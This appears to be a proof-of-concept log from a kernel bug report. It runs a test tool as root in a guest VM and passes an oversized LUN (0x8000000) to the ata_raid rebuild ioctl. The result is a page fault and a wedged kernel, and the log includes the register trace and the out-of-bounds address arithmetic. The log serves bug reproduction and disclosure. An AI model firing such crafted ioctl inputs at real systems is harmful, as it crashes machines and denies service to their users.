# baseline (unpatched kernel #0 Jul 2 2026), as root in guest
$ /tmp/poc/f3_ioctl_lun status 0
issuing IOCATARAIDSTATUS lun=0 (0x0)
status ioctl: Device not configured            # in-bounds: clean ENXIO

$ /tmp/poc/f3_ioctl_lun rebuild 134217728
issuing IOCATARAIDREBUILD lun=134217728 (0x8000000)
(ssh session dies; serial console:)
Fatal trap 12: page fault while in kernel mode
cpuid = 2; lapic id = 2
fault virtual address	= 0xffffffffc114dec0
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff80338924
current process		= 5424
Stopped at      ata_raid_ioctl+0x154:   movq    ata_raid_arrays(,%rax,8),%rcx
# 0xffffffffc114dec0 - 8*0x8000000 = 0xffffffff8114dec0 = &ata_raid_arrays[0]
# guest wedged in DDB